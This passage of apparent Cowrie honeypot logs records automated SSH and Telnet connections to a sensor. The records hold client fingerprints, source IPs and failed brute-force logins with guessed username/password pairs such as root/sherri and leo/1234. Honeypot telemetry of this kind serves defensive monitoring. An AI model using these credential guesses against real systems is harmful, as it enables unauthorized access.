521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:15.175680Z","src_ip":"62.133.62.83","session":"4040eea69ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sherri","message":"login attempt [root/sherri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:15.428346Z","src_ip":"62.133.62.83","session":"4040eea69ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:16.512715Z","src_ip":"62.133.62.83","session":"4040eea69ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.413296699523926,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:17.588940Z","src_ip":"128.199.8.54","session":"160c630b02b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85464072227478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:32.215779Z","src_ip":"20.171.46.137","session":"7c5b69cf4c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":50234,"dst_ip":"159.203.135.109","dst_port":22,"session":"e923829d8849","protocol":"ssh","message":"New connection: 152.32.214.226:50234 (159.203.135.109:22) [session: e923829d8849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:34.686115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:34.689789Z","src_ip":"152.32.214.226","session":"e923829d8849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:34.904778Z","src_ip":"152.32.214.226","session":"e923829d8849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user14","password":"123","message":"login attempt [user14/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:35.801888Z","src_ip":"152.32.214.226","session":"e923829d8849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:37.020293Z","src_ip":"152.32.214.226","session":"e923829d8849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":37126,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48f61320f5e","protocol":"ssh","message":"New connection: 45.123.217.22:37126 (10.17.0.5:22) [session: b48f61320f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:37.617079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:37.625379Z","src_ip":"45.123.217.22","session":"b48f61320f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:37.846803Z","src_ip":"45.123.217.22","session":"b48f61320f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linshi123","message":"login attempt [root/linshi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:38.768224Z","src_ip":"45.123.217.22","session":"b48f61320f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:39.992546Z","src_ip":"45.123.217.22","session":"b48f61320f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":59484,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b5c555aea3","protocol":"ssh","message":"New connection: 181.188.176.242:59484 (10.17.0.5:22) [session: 78b5c555aea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:51.916673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:51.920805Z","src_ip":"181.188.176.242","session":"78b5c555aea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:52.084635Z","src_ip":"181.188.176.242","session":"78b5c555aea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kbe","password":"kbe","message":"login attempt [kbe/kbe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:52.777331Z","src_ip":"181.188.176.242","session":"78b5c555aea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:53.943955Z","src_ip":"181.188.176.242","session":"78b5c555aea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":33592,"dst_ip":"159.203.135.109","dst_port":22,"session":"9788e6861930","protocol":"ssh","message":"New connection: 102.210.148.92:33592 (159.203.135.109:22) [session: 9788e6861930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:02.011068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:02.016043Z","src_ip":"102.210.148.92","session":"9788e6861930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:02.258531Z","src_ip":"102.210.148.92","session":"9788e6861930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"password","message":"login attempt [sol/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:03.250166Z","src_ip":"102.210.148.92","session":"9788e6861930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:04.496250Z","src_ip":"102.210.148.92","session":"9788e6861930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":37420,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be930cc0172","protocol":"ssh","message":"New connection: 14.63.196.175:37420 (159.203.135.109:22) [session: 6be930cc0172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:09.046495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:09.051000Z","src_ip":"14.63.196.175","session":"6be930cc0172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:09.251714Z","src_ip":"14.63.196.175","session":"6be930cc0172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"1234","message":"login attempt [leo/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:10.083746Z","src_ip":"14.63.196.175","session":"6be930cc0172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:11.288268Z","src_ip":"14.63.196.175","session":"6be930cc0172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":27856,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2ce31dc108","protocol":"ssh","message":"New connection: 36.92.41.115:27856 (10.17.0.5:22) [session: 7f2ce31dc108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.456765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.461509Z","src_ip":"36.92.41.115","session":"7f2ce31dc108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":47052,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e16f6b41b6","protocol":"ssh","message":"New connection: 129.146.243.24:47052 (159.203.135.109:22) [session: 26e16f6b41b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.581305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.588391Z","src_ip":"129.146.243.24","session":"26e16f6b41b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.680965Z","src_ip":"129.146.243.24","session":"26e16f6b41b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.717449Z","src_ip":"36.92.41.115","session":"7f2ce31dc108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31014,"dst_ip":"159.203.135.109","dst_port":22,"session":"8266cafd859a","protocol":"ssh","message":"New connection: 38.93.206.2:31014 (159.203.135.109:22) [session: 8266cafd859a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.980327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:13.985784Z","src_ip":"38.93.206.2","session":"8266cafd859a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.036112Z","src_ip":"38.93.206.2","session":"8266cafd859a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stf","password":"123456","message":"login attempt [stf/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.081566Z","src_ip":"129.146.243.24","session":"26e16f6b41b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":19168,"dst_ip":"10.17.0.5","dst_port":22,"session":"d15d107acbf9","protocol":"ssh","message":"New connection: 177.85.247.230:19168 (10.17.0.5:22) [session: d15d107acbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.137044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.142103Z","src_ip":"177.85.247.230","session":"d15d107acbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270287","message":"login attempt [root/270287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.197644Z","src_ip":"38.93.206.2","session":"8266cafd859a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384